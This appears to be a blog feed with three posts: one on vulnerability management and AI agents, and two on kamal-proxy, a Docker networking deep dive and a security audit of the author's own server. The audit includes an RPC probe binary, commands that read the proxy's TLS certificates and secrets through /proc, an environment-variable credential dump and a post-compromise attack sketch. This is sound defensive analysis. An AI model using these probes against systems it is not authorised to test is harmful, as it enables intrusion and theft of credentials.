bernardoamc RSS

Vulnerability Management in the age of AI

Mon, 04 May 2026 18:00:00 GMT

With the pace of vulnerability discovery increasing and the window between disclosure and exploitation shrinking, or even becoming negative in certain cases, there is a lot of pressure on security teams to move fast. This pressure is exacerbated by the constant (and successful) advertising from AI companies reaching audiences that are not familiar with the security space, but that very much care about the optics of having secure environments. “How are we using AI to secure our company?”, “Have you seen that Mythos found 271 vulnerabilities in Firefox?” and “Can we have agents regularly scanning our codebases?” might have become too familiar at this point.

Now don’t get me wrong, having more people caring about security is a great outcome, but blindly throwing agents at the problem will not necessarily benefit most companies as we will see below. Even with unlimited budget and staff, it’s unrealistic to expect that companies will find, prioritize and patch every issue in their supply chains before they are discovered and exploited by attackers. Focusing on the fundamentals is more important than ever and will give your company the ability to leverage agents in an impactful manner.

There are much better sources discussing the fundamentals of a successful Vulnerability Management program, so let’s focus instead on relevant scenarios and see how having these fundamentals in place is often enough. After focusing on the benefits of strong fundamentals we will also discuss how agents can be leveraged and the benefits they bring to the table.

axios npm supply chain compromise

Your team is made aware that axios has been compromised and versions 1.14.1 and 0.30.4 were shipped with a RAT. You know that your organization has established dependency cooldown periods, so it is highly unlikely to be affected. Doing your due diligence, you query the comprehensive asset inventory and are quickly able to assess that these versions were not pulled by developer machines or any other environment. Furthermore, you write a quick rule to block these packages from being fetched from your unified repository like Artifactory, Nexus or Cloudsmith.

What could have been a long incident is resolved in a matter of minutes since your company had the required data and processes in place. The most successful incidents are the ones that didn’t happen.

Plot twist

An acquisition wasn’t using the unified repository and was able to pull the vulnerable dependency. Luckily the environments had clear egress rules in place, so the RAT could not reach out to the attacker’s domain. The team figured this out since they were monitoring for the indicators of compromise. Yet again, what could have been a catastrophic incident becomes an action item.

What about agents?

With the foundations in place, agents would also be able to query the same APIs and automatically create the required blocking rules. Security engineers would be able to quickly assess the agent’s decision and merge the rules. The outcome remains the same, but the triaging and response time is shortened. Agents could also be leveraged to extract the indicators of compromise from a particular source, monitor systems for it and alert the team in case of matches.

Copy Fail: 732 Bytes to Root on Every Major Linux Distribution

Your team is made aware of Copy Fail, a new local privilege escalation vulnerability. This is an interesting case since there are no patches upstream at the time, so you quickly write some detection rules while the organization figures out how to handle this situation. Since the organization has invested in clear threat models for their main surface areas, the team makes well informed decisions about waiting for the official patches versus manually patching systems. Runbooks detailing how to patch and cycle hosts are in place for systems that require manual patching, so teams can safely patch and cycle involved hosts without guess work. Patches to disable the algif_aead module or modify seccomp policies are put in place, and since the organization has invested in observability, it’s easy to track the percentage of the fleet that still needs to be cycled.

What about agents?

Again, agents could be leveraged to speed up parts of the triaging and detection pipelines by writing the necessary detection rules and help with monitoring. Unless agents have full access to your deployment and infrastructure pipelines, which has many other downsides, it wouldn’t be able to patch and cycle your fleet. It also wouldn’t be able to make the correct business decisions like reasoning about the need to patch versus a potential downtime incurred by a redeploy.

MAD Bugs: vim vs emacs vs Claude

Your team is made aware of critical CVEs in vim and emacs. The organization has invested heavily in keeping an inventory of applications in use within developer machines and have a well established pipeline to block applications from running through Santa rules. It also has an inventory of package versions that can identify when a vulnerable version is present within hosts.

What about agents?

In this case an agent could use the available data to decide whether applications can be directly blocked using an heuristic like the number of machines using the vulnerable versions and also cycling hosts if newer images are available with the patched versions

Are agents a “nice to have”?

Yes and no. In most cases agents can speed up the mean time to triage and remediation, but they wouldn’t be as useful without being able to rely on a strong foundation. If your company has clear foundational gaps, agents will hardly be the solution to the problem despite the push to rely on them. If you feel your company is already well positioned to benefit from agents, I recommend you start focusing on the triage side of things. Having the right information at the right time allows you to make the best decisions for your team and company.

That being said, with a strong foundation in place a lot of the triaging steps can be made deterministic, in which case agents can actually be a detriment to the process.

What else?

One area where agents can shine is when they are leveraged to scan 1st party code and infrastructure. This covers both proactive discovery in our own code and also the aspect of figuring out if we are affected by a particular zero day (no patch or CVE). Companies have a huge advantage leveraging their full context to find relevant vulnerabilities. By leveraging artifacts like system designs and threat models, agents can find highly contextual vulnerabilities that when coupled with an automatic validation pipeline delivers valuable findings to internal teams. Figuring out a way to quickly spawn a testing environment with everything that an agent needs to replicate a vulnerability is a worthy problem to tackle.

Agents are also great at performing simpler versions of reachability analysis, which can be particularly useful when assessing impact from unpatched library vulnerabilities. When used right, they can augment your risk based prioritization process in a meaningful way.

If you are still looking for more ideas, agents can also crawl your runbooks and ensure they are up to date. They can also map outbound network connections against declared egress rules and even compare crawled infrastructure against the current asset inventory.

With all that said, and sounding like a broken record at this point, before you go all-in on agents ensure a strong foundation is in place. They will give agents the data they need in order to make better decisions. Starting with agents is backwards.

kamal-proxy security audit

Sun, 01 Mar 2026 00:00:00 GMT

In my previous post we explored how kamal-proxy works under the hood, covering topics like the bridge network, the iptables rules and the Unix socket RPC protocol. Near the end, we intercepted the Docker socket to watch Kamal orchestrate a full deploy. Now that we understand the domain, I thought it would be interesting to perform a quick security audit under the assumption that an attacker managed to get remote code execution inside the web container.

Kamal runs the web app and its proxy side-by-side on the same host. How well are they isolated from each other? Can an attacker in the web app container reach kamal-proxy’s control plane and stop it, redeploy it, or redirect traffic? That’s what this post is about and we will be using my live production server throughout.

The threat model

An attacker exploits a vulnerability in the web application and achieves RCE inside the web app container. They have a shell, so they can run any commands and make network requests. What can they reach?

I see two clear targets:

The Unix socket: kamal-proxy uses /tmp/kamal-proxy.sock as its RPC control plane. Whoever can talk to this socket can deploy or stop targets.
The network surface: both containers share the same Docker bridge network. Can the web app container reach kamal-proxy over TCP and abuse its HTTP interface?

Let’s start our investigation!

The Unix socket

From the previous post we know the socket exists at /tmp/kamal-proxy.sock inside the container, exposed on the host through the overlay filesystem at:

/var/lib/docker/rootfs/overlayfs/b9958b81313c.../tmp/kamal-proxy.sock

The first thing to check is who owns it and what permissions it has:

$ stat /var/lib/docker/rootfs/overlayfs/b9958b81313c.../tmp/kamal-proxy.sock
  File: ...kamal-proxy.sock
  Size: 0
Access: (0755/srwxr-xr-x)  Uid: ( 1001/ UNKNOWN)   Gid: ( 1001/ UNKNOWN)

The permission bits srwxr-xr-x can be broken down as:

Owner (uid 1001): can connect
Group (gid 1001): read + execute, but no write, so it cannot connect
Others: read + execute, but again no write so it also cannot connect

For Unix sockets, the write permission is what allows a process to connect. So only uid 1001 can talk to this socket. That’s the kamal-proxy process itself and anything exec’d into the container via docker exec.

But can the web app container even reach this path? Let’s check!

$ ls -la /var/lib/docker/rootfs/
drwx--x---  3 root root 4096 ...

drwx--x---, so only root can traverse this path. This means that even if a process were running as uid 1001 somewhere on the host, it couldn’t navigate to the socket through the overlayfs path. Can we reach the socket from the web app container itself?

$ docker exec xps-web-98043a3 ls /tmp/
# Empty...

The directory is empty, so the answer to our previous question is no. The reason for this behavior is that the app container has its own mount namespace, which is the Linux mechanism for giving each container a completely isolated view of the filesystem. In practice this means that the web app container has no view of kamal-proxy’s filesystem at all.

In order to be thorough, let’s also check what user the web app container runs as, and whether any sockets are visible anywhere in its filesystem:

$ docker exec xps-web-98043a3 id
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)

$ docker exec xps-web-98043a3 find / -name "*.sock" -type s 2>/dev/null
# Nothing...

So uid 1000 and no sockets within the container. The control plane is genuinely unreachable from the web app container.

Another thing worth noting is that Docker is running without user namespace remapping (the default behavior) and confirmed through:

$ docker inspect kamal-proxy --format '{{.HostConfig.UsernsMode}}'
# No output...

Having no output means no remapping, which means the uid 1001 inside the kamal-proxy container is also uid 1001 on the host kernel. This is an anonymous, unmapped uid that no legitimate host user or process runs as on my system. Kamal’s own deployment workflow reaches kamal-proxy’s Unix socket via docker exec, running commands inside the container’s own mount namespace where the socket is visible. The broader orchestration (pulling images, starting containers, routing traffic) goes through the Docker socket API as we have seen in the previous post.

Proving the namespace separation

We claimed that both containers have distinct mount namespaces, but will you blindly trust me? I hope not! Every process on Linux has its namespaces exposed under /proc/<pid>/ns/. The inode number in the symlink target uniquely identifies the namespace, so having the same inode means processes share a namespace, otherwise they have isolated namespaces.

# Get the host PIDs of both container processes
$ docker inspect kamal-proxy --format '{{.State.Pid}}'
1129
$ docker inspect xps-web-98043a3 --format '{{.State.Pid}}'
6292

# Compare their mount namespace inodes
$ ls -la /proc/1129/ns/mnt
lrwxrwxrwx 1 1001 1001 0 Feb 26 03:00 /proc/1129/ns/mnt -> 'mnt:[4026532438]'

$ ls -la /proc/6292/ns/mnt
lrwxrwxrwx 1 deploy deploy 0 Feb 26 04:18 /proc/6292/ns/mnt -> 'mnt:[4026532307]'

See how the inodes are different (4026532438 vs 4026532307)? Whatever is mounted in kamal-proxy’s filesystem is completely invisible from the web app container’s perspective and vice versa.

Another thing worth noticing is the symlink ownership. /proc/1129/ns/mnt is owned by uid 1001, while /proc/6292/ns/mnt is owned by deploy, which is the host account Kamal uses to SSH on my system. This is the same uid the web app container runs as, since user: "1000:1000" in deploy.yml corresponds to the host’s deploy user. Given that, a reasonable follow up question would be:

If the web app and kamal-proxy shared the same uid, could the web app container access kamal-proxy’s mount namespace?

The answer is no for the following reasons:

Besides mount namespaces, containers also have distinct PID namespaces, so they couldn’t access these process IDs like the host does. Docker containers get their own PID namespace by default.
CAP_SYS_ADMIN is required for setns(), so even if the PIDs were visible (e.g. with —pid=host) we wouldn’t be able to enter this namespace since containers don’t have this capability enabled by default.

There is one exception to point 2, as always. With a shared PID namespace and a shared UID, an attacker could make use of /proc/<pid>/root to access the socket. This is a symlink that the Linux kernel maintains for every running process, pointing to whatever that process considers its root directory (/). For a normal process that’s just /, but for a containerized process it points to that container’s root filesystem, as in, the overlay filesystem’s merged directory with all its files.

From the host as root we can already do this:

$ ls /proc/1129/root/tmp/
kamal-proxy.sock

$ ls -la /proc/1129/root/home/kamal-proxy/.config/kamal-proxy/
drwxr-xr-x 3 1001 1001 4096 Feb 25 03:51 .
drwxr-xr-x 3 1001 1001 4096 May 14  2025 ..
drwx------ 3 1001 1001 4096 Feb 25 03:51 certs
-rw-r--r-- 1 1001 1001  953 Feb 26 04:18 kamal-proxy.state

The Unix socket isn’t the only thing worth reaching here. Let’s see what else is in that filesystem.

kamal-proxy.state is 0644, or world-readable, so any uid can access it via this path. It contains the full service topology, internal container IDs, logged header names, and the acme_cache_path that points to exactly where the certificates live.

certs is 0700, accessible only by uid 1001. Inside, autocert stores two files without extensions: the domain’s TLS private key and acme_account+key. The account key is the more impactful of the two. The domain private key lets an attacker decrypt captured TLS traffic. The ACME account key lets them issue certificates for any other domain registered to the same Let’s Encrypt account, or revoke existing ones to cause an outage. Neither requires any additional access to the server itself.

Neither running --pid=host or sharing uid is the default though, so this path is closed in a standard Kamal deployment. But it’s a good illustration of why not breaking PID namespace isolation matters. Once shared PIDs are in the picture, uid alignment becomes a problem.

We have talked a lot about kamal-proxy’s uid, but how is it defined?

Where does uid 1001 actually come from?

kamal-proxy’s Dockerfile is defined as:

FROM ubuntu:noble-20251013 AS base

# ...

RUN useradd kamal-proxy \
    && mkdir -p /home/kamal-proxy/.config/kamal-proxy \
    && chown -R kamal-proxy:kamal-proxy /home/kamal-proxy

USER kamal-proxy:kamal-proxy

The useradd command without an explicit -u flag assigns the next available uid after existing system users. On a fresh ubuntu:noble image that happens to be 1001, but it’s an implementation detail of the base image, not a deliberate choice by Kamal. If Ubuntu ever adds a new system user in a future release, kamal-proxy silently becomes uid 1002.

We can verify this live:

$ docker exec kamal-proxy id
uid=1001(kamal-proxy) gid=1001(kamal-proxy) groups=1001(kamal-proxy)

This means that the uids 1000 and 1001 in our production environment are entirely “coincidental”. My project’s Dockerfile explicitly creates appuser with uid 1000 and Ubuntu’s useradd defaults landing on 1001. Kamal never designed this as a security boundary, but it is interesting to document the behavior nonetheless.

While we are looking at the Dockerfile, a couple of other things are worth noting. The base image is ubuntu:noble-20251013, a date-pinned tag that is mutable since DockerHub tags can be force-pushed. A SHA digest (ubuntu:noble@sha256:...) is the only truly immutable form. The build stage (golang:1.26) is looser, with no date tag at all, meaning the build toolchain can silently change on the next pull.

FROM golang:1.26 AS build
# ...
FROM ubuntu:noble-20251013 AS base
# ...

I didn’t spot things like govulncheck, gosec, or image scanning in CI, so known CVEs in the dependency tree wouldn’t be caught during CI-time.

$ cat .github/workflows/ci.yml
name: Go

permissions:
  contents: read
  pull-requests: write

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]
# ...

None of this changes the runtime threat model we have been exploring, but it is worth knowing when evaluating the overall security posture of the project. Let’s move on!

Attempting to reach the RPC control plane directly

We’ve established that the Unix socket is unreachable from the web app container, but we want to prove it rather than just assert it. The way it fails matters as much as the failure itself.

Let’s write a small Go binary that speaks kamal-proxy’s RPC protocol and calls List, a read-only operation that returns every registered service with its target and associated metadata. We’ll run it from the web app container first, then from inside kamal-proxy itself. Our expectation is for the binary to fail within the web app container, but not within kamal-proxy.

From the previous post, we intercepted the raw gob-encoded payload on the socket and could read the struct field names directly from it. Cross-referencing with Kamal’s source code confirms that the approach should work. Let’s start!

package main

import (
    "fmt"
    "net"
    "net/rpc"
    "time"
)

type ServiceDescription struct {
    Host   string
    Path   string
    TLS    bool
    Target string
    State  string
}

type ListResponse struct {
    Targets map[string]ServiceDescription
}

func dial(socketPath string) (*rpc.Client, error) {
    conn, err := net.DialTimeout("unix", socketPath, 5*time.Second)
    if err != nil {
        return nil, err
    }
    return rpc.NewClient(conn), nil
}

func main() {
    client, err := dial("/tmp/kamal-proxy.sock")
    if err != nil {
        fmt.Printf("[!] Failed to connect: %v\n", err)
        return
    }
    defer client.Close()

    var response ListResponse
    if err := client.Call("kamal-proxy.List", true, &response); err != nil {
        fmt.Printf("[!] List failed: %v\n", err)
        return
    }

    for name, svc := range response.Targets {
        fmt.Printf("service=%-20s target=%-25s state=%s tls=%v\n",
            name, svc.Target, svc.State, svc.TLS)
    }
}

Let’s compile the code, send it to our server and run it in both containers:

# On our local machine
GOOS=linux GOARCH=amd64 go build -o probe_amd64 probe.go
# Copy to the server
scp probe_amd64 deploy@$DROPLET_IP:/tmp/probe_amd64
# Copy into the web app container
docker cp /tmp/probe_amd64 xps-web-98043a3:/tmp/probe
# Run it as the attacker would
docker exec xps-web-98043a3 /tmp/probe
[!] Failed to connect: dial unix /tmp/kamal-proxy.sock: connect: no such file or directory

Notice that the error is no such file or directory, not permission denied. The socket doesn’t exist within the web app container at all, the uid check never even runs. The mount namespace separation is doing all the work before permissions get a chance to matter.

Now let’s run the same binary from inside kamal-proxy to confirm the binary itself works:

# Copy to kamal-proxy container
docker cp /tmp/probe_amd64 kamal-proxy:/tmp/probe
docker exec kamal-proxy /tmp/probe
service=xps-web              target=7c001501e3ca:8080         state=running tls=true

Connecting from the right context reaches the control plane immediately with no authentication. Whoever can reach the socket has full read access to the service topology, and from there full write access to everything else. The only thing protecting it is whether the socket is visible in your mount namespace or not. Let’s move to the second target surface area!

The network surface

The Unix socket is a dead end. But both containers share the kamal bridge network, so let’s see what’s reachable over TCP. First, let’s confirm that the web app container can reach kamal-proxy at the network level:

$ docker exec xps-web-98043a3 ping -c2 kamal-proxy
PING kamal-proxy (172.18.0.3): 56 data bytes
64 bytes from 172.18.0.3: seq=0 ttl=42 time=0.067 ms
64 bytes from 172.18.0.3: seq=1 ttl=42 time=0.080 ms

ICMP works, let’s check what kamal-proxy is actually listening on inside its network namespace:

$ nsenter --net --target $(docker inspect -f '{{.State.Pid}}' kamal-proxy) ss -tlnp
State    Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process
LISTEN   0       4096    127.0.0.11:42217    0.0.0.0:*          users:(("dockerd",pid=719,fd=38))
LISTEN   0       4096    *:80                *:*                users:(("kamal-proxy",pid=1129,fd=3))
LISTEN   0       4096    *:443               *:*                users:(("kamal-proxy",pid=1129,fd=6))

Three listeners. The 127.0.0.11:42217 entry is Docker’s embedded DNS resolver. dockerd binds on the loopback inside the network namespace to intercept DNS queries from containers on the bridge, which is how kamal-proxy resolves to 172.18.0.3. We covered this in detail in the previous post.

The two kamal-proxy listeners bind to *, meaning kamal-proxy accepts TCP connections from any address, including other containers on the same bridge network. There is no source IP filtering. Let’s try connecting:

$ docker exec xps-web-98043a3 wget -O- http://172.18.0.3:80
wget: server returned error: HTTP/1.1 404 Not Found

TCP connects, but 404 happens because kamal-proxy routes by Host header and a request to 172.18.0.3 doesn’t match any configured service. Let’s use the right header:

$ docker exec xps-web-98043a3 wget -O- --header="Host: tasks.xps.one" \
  http://172.18.0.3:80
Connecting to 172.18.0.3:80 (172.18.0.3:80)
Connecting to tasks.xps.one (67.205.158.151:443)
...
{"hostname":"...","service":"Task Manager API","version":"1.0.0"}

See how we got redirected to HTTPS and went out through the public IP? kamal-proxy enforces HTTPS even for internal traffic. Containers have unrestricted outbound internet access unless egress filtering is explicitly configured. This is a Docker default rather than something Kamal specific. On my VPS hairpin NAT is also enabled, so traffic can leave the container, hit the public IP, and come back in using the real hostname:

$ docker exec xps-web-98043a3 wget -O- --no-check-certificate \
  https://tasks.xps.one/up
Connecting to tasks.xps.one (67.205.158.151:443)
ok

kamal-proxy’s HTTP ports are purely for proxying traffic, there is almost no surface over TCP. Reading the kamal-proxy source, there is one potential attack surface worth knowing about, an optional HTTP metrics port that is disabled by default.

// internal/cmd/run.go
runCommand.cmd.Flags().IntVar(&globalConfig.MetricsPort, "metrics-port",
    getEnvInt("METRICS_PORT", 0),
    "Publish metrics on the specified port (default zero to disable)")

If enabled with --metrics-port=9001 (or METRICS_PORT=9001), it opens a plain HTTP server on that port exposing Prometheus metrics with no TLS and no authentication. There are no management operations available (stop, pause, or deploy), but the endpoint serves useful information to an attacker like the Go runtime version (CVE checks), proxy metrics (deployment cadence), service names and HTTP status aggregation and error patterns. Any container on the kamal network can reach this port directly, so if you enable it, treat it like any other unauthenticated internal endpoint.

There is one more opt-in listener to account for. The go.mod includes quic-go/quic-go, which gives kamal-proxy HTTP/3 (QUIC) support behind the --http3 flag. When enabled, server.go opens a UDP listener on port 443 alongside the existing TCP one. Our earlier ss -tlnp command used -t for TCP only and would have missed this listener, in order to spot it we would need ss -ulnp to catch it. The attack surface is the same as TCP/443 though (requests still go through the proxy handler, not the control plane), but UDP listeners are easy to overlook in a network scan.

As we can see, the attack surface area is pretty narrow. My one practical concern is that every container on the kamal network can talk directly to every other container, with no proxy in the middle. This means no rate limiting, no auth header injection or IP allowlisting unless it is enforced by each application in the network. Any accessory container you add later (a Redis sidecar, a Postgres instance, a background worker) lands on that network by default as well.

We can sketch a realistic scenario for a post-RCE inside the web app container:

Attacker reads /etc/resolv.conf, sees nameserver 127.0.0.11 and confirms they’re inside a Docker network and have a live internal subnet to explore
Attacker reads their own IP and subnet from ip addr, then scans the range directly
Attacker connects to discovered services on their native ports directly, bypassing any controls at the proxy layer
With unrestricted outbound internet access, the attacker can exfiltrate data or pull down additional tooling
When probing internal services through kamal-proxy, the attacker can set a forged X-Forwarded-For header on their requests. The logging middleware trusts this header as the logged source address, so their activity gets attributed to a different IP in the proxy’s access logs

There’s also a more direct path that doesn’t require any network scanning at all. Kamal injects secrets as environment variables like database credentials, API keys and third-party tokens. An attacker with RCE can read them immediately:

$ env
DATABASE_URL=postgres://app:s3cr3t@postgres:5432/app_production
REDIS_URL=redis://:password@redis:6379/0
HOSTNAME=...
KAMAL_CONTAINER_NAME=...

This bypasses any network-level filtering and is often the most direct path to the services you care about protecting. Not specific to Kamal, but worth keeping in mind.

Another thing worth noting is that the logging middleware records the raw query string with every request as a query field in the JSON log. If the application uses query parameters to carry tokens like OAuth callbacks, pre-signed URLs or webhook validation secrets, those values end up in the proxy’s structured log output. This is worth factoring in when deciding where logs are stored and who can read them.

// internal/server/logging_middleware.go
// ...
attrs := []slog.Attr{
    slog.String("host", r.Host),
    # ...
    slog.String("query", r.URL.RawQuery),
}
// ...
h.logger.LogAttrs(context.Background(), slog.LevelInfo, "Request", attrs...)

And I’ve truly ran out of interesting things to mention at this point. I know we didn’t uncover much, but that’s a good thing! My takeaway is that if you are using Kamal you should worry about the usual things instead of having to reason about new surface area exposed by the tool in the server. Things like avoiding running containers as root, mounting the Docker socket or the kamal-proxy Unix socket into other containers, and considering outbound egress filtering. These are all best practices that are Kamal independent and will serve you well in the long run.

Thanks for following this post and let me know if I missed something!

kamal-proxy deep dive

Wed, 25 Feb 2026 18:00:00 GMT

I’ve started experimenting with Kamal in order to deploy web applications to my DigitalOcean VPS. It is a pretty opinionated tool that sits on top of Docker and allows you to deploy without downtime. It relies on a proxy named kamal-proxy to interface with the web application, which is what allows the tool to perform gapless deploys and rollbacks. I’ve read the bare minimum amount of documentation in order to deploy my application, but thought it would be an interesting exercise to inspect what kamal-proxy does under the hood. I will be using my currently deployed application as we perform the deep dive.

Exploration

The first thing to notice is that kamal-proxy runs as a container side-by-side to our application:

$ docker ps
CONTAINER ID   IMAGE                         COMMAND             CREATED        STATUS                  PORTS                                                                          NAMES
c11a984b98e8   kaeros/xps:46b447e            "/app/server"       20 hours ago   Up 20 hours (healthy)   8080/tcp                                                                       xps-web-46b447e
b9958b81313c   basecamp/kamal-proxy:v0.9.0   "kamal-proxy run"   20 hours ago   Up 20 hours             0.0.0.0:80->80/tcp, [::]:80->80/tcp, 0.0.0.0:443->443/tcp, [::]:443->443/tcp   kamal-proxy

Networking

Our application exposes port 8080 while kamal-proxy binds to every interface on ports 80 and 443.

We can use docker inspect kamal-proxy to learn more about the container configuration and confirm our thought process. For example, what is the command being executed by the container? Which ports is it binding to?

$ docker inspect kamal-proxy | jq '.[0].Config.Cmd'
[
  "kamal-proxy",
  "run"
]

$ docker inspect kamal-proxy | jq '.[0].HostConfig.PortBindings'
{
  "443/tcp": [
    {
      "HostIp": "",
      "HostPort": "443"
    }
  ],
  "80/tcp": [
    {
      "HostIp": "",
      "HostPort": "80"
    }
  ]
}

Notice how the kamal-proxy container is running a binary called kamal-proxy. This will help us in the future. Another interesting thing to confirm is that both our web application and kamal-proxy share the same network ID:

$ docker inspect kamal-proxy | jq '.[0].NetworkSettings.Networks.kamal.NetworkID'
"ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72"
$ docker inspect c11a984b98e8 | jq '.[0].NetworkSettings.Networks.kamal.NetworkID'
"ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72"

We can inspect this network by doing:

$ docker network inspect ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72
[
    {
        "Name": "kamal",
        "Id": "ee31959bc2474fff68ea97e6ec162052982bd61d5ae24731fbcb8b3f87fdea72",
        "Created": "2026-02-25T03:48:00.949931206Z",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv4": true,
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": {},
            "Config": [
                {
                    "Subnet": "172.18.0.0/16",
                    "Gateway": "172.18.0.1"
                }
            ]
        },
        # ...
        "Containers": {
            "b9958b81313ca466bfb55a5e97cdef16123ddab4c8443d37e8c88282ed19be7e": {
                "Name": "kamal-proxy",
                "EndpointID": "b7b61aa9003e31101b2e224bce4cd6078d592baf108c2bf7371e39136a59631a",
                "MacAddress": "8a:1c:8b:54:0a:ba",
                "IPv4Address": "172.18.0.2/16",
                "IPv6Address": ""
            },
            "c11a984b98e89b3e461c90c17988fdd2345d4d02eead8f7dadb155818642be4d": {
                "Name": "xps-web-46b447e",
                "EndpointID": "2dce046a356d81e034268ab22f7bc933cfee8044f783ddcefc0d181259c84f76",
                "MacAddress": "6a:39:d0:75:3b:0b",
                "IPv4Address": "172.18.0.3/16",
                "IPv6Address": ""
            }
        },
        "Status": {
            "IPAM": {
                "Subnets": {
                    "172.18.0.0/16": {
                        "IPsInUse": 5,
                        "DynamicIPsAvailable": 65531
                    }
                }
            }
        }

Both containers are on the same private Docker bridge network called kamal. This means that kamal-proxy doesn’t reach our web application through our host’s public IP or localhost, instead it uses the internal network using Docker’s built-in DNS. This is the reason our web application doesn’t need to publish port 8080 on the host.

Through ip link show we can see that the bridge network exists at the kernel level:

$ ip link show
# ...
5: br-ee31959bc247: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default
    link/ether 2e:5e:52:ec:df:0d brd ff:ff:ff:ff:ff:ff
# ...

Running ip addr show with the bridge’s interface confirms that it acts as the gateway for both containers with the associated IP being 172.18.0.1/16.

ip addr show br-ee31959bc247
5: br-ee31959bc247: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 2e:5e:52:ec:df:0d brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-ee31959bc247
       valid_lft forever preferred_lft forever
    inet6 fe80::2c5e:52ff:feec:df0d/64 scope link
       valid_lft forever preferred_lft forever

Each container should be “plugged” into the bridge. This happens through veth pairs (virtual ethernet cables). Let’s inspect that:

$ ip link show | grep -A1 veth

6: vethec5fa95@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ee31959bc247 state UP mode DEFAULT group default
    link/ether fe:df:5a:20:3e:5a brd ff:ff:ff:ff:ff:ff link-netnsid 0
7: vethf226152@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ee31959bc247 state UP mode DEFAULT group default
    link/ether be:96:a0:9d:e9:a5 brd ff:ff:ff:ff:ff:ff link-netnsid 1

Two things of notice. First, both veth pairs are @if2, which means they are connected to the second interface in the namespace container network stack. Second, see that master is br-ee31959bc247? That’s our bridge! Let’s check the other side of one of our veth pairs inside kamal-proxy container namespace by using nsenter:

$ nsenter --net --target $(docker inspect -f '{{.State.Pid}}' kamal-proxy) ip addr show

# ...
2: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 8a:1c:8b:54:0a:ba brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

See how our second interface has the IP 172.18.0.2? That’s exactly what the output from docker network inspect printed. Let’s also inspect the routes within our kamal-proxy container to see how it is linked to the gateway:

$ nsenter --net --target $(docker inspect -f '{{.State.Pid}}' kamal-proxy) ip route show
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2

See how the default gateway is 172.18.0.1? That’s our bridge again! How does a packet coming from the internet make it to the bridge though? That’s the job of the routing table!

$ iptables -t nat -L -n --line-numbers
Chain PREROUTING (policy ACCEPT)
num  target     prot opt source               destination
1    DOCKER     0    --  0.0.0.0/0            0.0.0.0/0            ADDRTYPE match dst-type LOCAL

Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DOCKER     0    --  0.0.0.0/0           !127.0.0.0/8          ADDRTYPE match dst-type LOCAL

Chain POSTROUTING (policy ACCEPT)
num  target     prot opt source               destination
1    MASQUERADE  0    --  172.18.0.0/16        0.0.0.0/0
2    MASQUERADE  0    --  172.17.0.0/16        0.0.0.0/0

Chain DOCKER (2 references)
num  target     prot opt source               destination
1    DNAT       6    --  0.0.0.0/0            0.0.0.0/0            tcp dpt:80 to:172.18.0.2:80
2    DNAT       6    --  0.0.0.0/0            0.0.0.0/0            tcp dpt:443 to:172.18.0.2:443

This can be pretty overwhelming, so let’s break it down:

PREROUTING handles packets as they arrive, rule 1 sends any packet destined for a local address into the DOCKER chain for inspection.
We make it to DOCKER chain, here we have two rules:
- Any packets arriving at port 80 gets DNAT’d (Destination NAT) to 172.18.0.2:80, which is kamal-proxy’s IP.
- The same thing happens, but for port 443

DNAT rewrites the destination IP of the packet before it’s forwarded. So a packet arriving from the internet destined for 67.205.158.151:443 gets its destination rewritten to 172.18.0.2:443 and sent into the bridge network. The original sender never knows this happened.

What about packets leaving the container?

POSTROUTING handles packets just before leaving the host:
- In 1, any packet from 172.18.0.0/16 going anywhere gets MASQUERADE'd, as in, its source IP is rewritten to the host’s public IP. This is how container traffic appears to come from the VPS when it reaches the internet.

New deploys

We know how the network is configured, but how does kamal-proxy handle a new deploy without downtime though? The first part of the magic is that during deploys the container for kamal-proxy remains stable, but how does it know to reach the newly deployed container rather than the old one?

In order to do this I’ve triggered a deploy and dug through logs, because why not? The first thing to notice is the new output for docker ps:

$ docker ps
CONTAINER ID   IMAGE                         COMMAND             CREATED          STATUS                    PORTS                                                                          NAMES
dfdee429978c   kaeros/xps:98043a3            "/app/server"       11 minutes ago   Up 11 minutes (healthy)   8080/tcp                                                                       xps-web-98043a3
b9958b81313c   basecamp/kamal-proxy:v0.9.0   "kamal-proxy run"   23 hours ago     Up 23 hours               0.0.0.0:80->80/tcp, [::]:80->80/tcp, 0.0.0.0:443->443/tcp, [::]:443->443/tcp   kamal-proxy

Armed with the container ID, we can investigate our logs:

$ docker logs kamal-proxy --since 1h 2>/dev/null | grep "dfdee429978c"
# ...
{"time":"2026-02-26T02:26:33.849624737Z","level":"INFO","msg":"Request","host":"tasks.xps.one","port":443,"path":"/up","request_id":"146c65d1-9f6f-4584-83bb-6d75f274b5ae","status":200,"service":"xps-web","target":"dfdee429978c:8080","duration":560366,"method":"GET","req_content_length":0,"req_content_type":"","resp_content_length":2,"resp_content_type":"text/plain; charset=utf-8","client_addr":"66.130.127.41","client_port":"64586","remote_addr":"66.130.127.41","user_agent":"curl/8.7.1","proto":"HTTP/2.0","scheme":"https","query":"","req_cache_control":"","req_last_modified":"","req_user_agent":"curl/8.7.1"}

Notice the "target":"dfdee429978c:8080". That’s not an IP address, it’s a container ID prefix and a port. Docker DNS resolves dfdee429978c to whatever IP that container has on the kamal network. Let’s look inside the kamal-proxy network namespace to see how that DNS interception actually works:

